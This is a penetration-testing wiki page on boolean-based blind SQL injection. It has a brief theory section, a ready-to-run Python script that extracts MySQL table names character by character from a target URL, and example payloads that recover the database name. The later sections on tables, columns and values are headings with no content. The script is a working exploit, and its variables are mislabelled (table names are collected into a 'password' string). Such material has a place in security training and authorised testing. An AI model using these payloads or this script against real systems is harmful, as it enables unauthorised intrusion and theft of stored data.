Boolean Based

Theory

Boolean-based SQL injection is a technique that relies on sending an SQL query to the database based on which the technique forces the application to return different results. The result allows an attacker to judge whether the payload used returns true or false. Even though no data from the database are recovered, the results give the attacker valuable information. Depending on the boolean result (TRUE or FALSE), the content within the response will change, or remain the same.

Practice

We can use a script (Python) similar to the one below, to automate the process of dumping the database trough blind SQLi.

Exploit Script Example
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
import string


# Set the URL and other parameters
uri = "http://<TARGET>/search?id="
timeout = 5
retries = 3

# Create a session and attach the retry strategy to it
session = requests.Session()
retry_strategy = Retry(
    total=retries,
    backoff_factor=0.3,
    status_forcelist=[500, 502, 503, 504],
    connect=retries,
)
adapter = HTTPAdapter(max_retries=retry_strategy)
session.mount("http://", adapter)
session.mount("https://", adapter)

# Initialize variables
password = ""
table_id = 6
i = 1

printables = "azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN0123456789"
tries = 0 
while True:
    for char in string.printable[:-6]:
        if char not in ['*','+','.','?','|','&','$','\\','"','\'',"#"]:
        
            # Edit payload for what you need, this example dump Table Names on MySQL
            # Fore more payloads, check https://red.infiltr8.io/web-pentesting/web-vulnerabilities/server-side/sql-injection/blind-sqli/boolean-based  
            payload = f"2'AND+(SELECT+HEX(SUBSTRING(table_name,{i},1))FROM+information_schema.tables+WHERE+table_schema=database()+LIMIT+{table_id},1)=HEX('{char}')--+-"

            for _ in range(retries + 1):
                try:
                    # If needed replace here, how payload is sent
                    r = session.get(url=uri + payload, timeout=timeout)
                    r.raise_for_status()  # Raise an HTTPError for bad responses
                    
                    #print(r.request.url)
                    print(f"\r{password}                    {i}", end="")

                    if "Trying to access array offset on value of type" not in r.text:
                        password = password + char
                        i += 1
                    break  # Break out of the retry loop if the request is successful
                except requests.exceptions.RequestException as e:
                    print(f"Error making request: {e}")
                    if _ < retries:
                        print("Retrying...")
                        continue
                    else:
                        print("Request failed after retries.")
                        break

Getting database

First, retrieve the database length:

1' AND (SELECT LENGTH(database()))=1-- -  #False  
1' AND (SELECT LENGTH(database()))=2-- -  #False
1' AND (SELECT LENGTH(database()))=3-- -  #True -> length of database is 3 characters.

Second, retrieve the database name:

--True -> It means the first character is p.
1' AND (SELECT HEX(SUBSTRING(database(), 1, 1)))=HEX('p')-- -
1' AND (SELECT ASCII(SUBSTRING(database(), 1, 1)))=112-- -  #ASCII code is in decimal

--True -> It means the second character is w.
1' AND (SELECT HEX(SUBSTRING(database(), 2, 1)))=HEX('w')-- -

--True -> It means the third character is n.
1' AND (SELECT HEX(SUBSTRING(database(), 3, 1)))=HEX('n')-- -

Getting Tables

First, retrieve the number of tables:

Second, retrieve length of each table

Third, retrieve name of each table

Getting Columns

First, retrieve the number of columns:

Second, retrieve length of each column

Third, retrieve name of each column

Dump values

First, retrieve the length of the value (we take password column as example):

Second, retrieve values

Resources

Last updated

Was this helpful?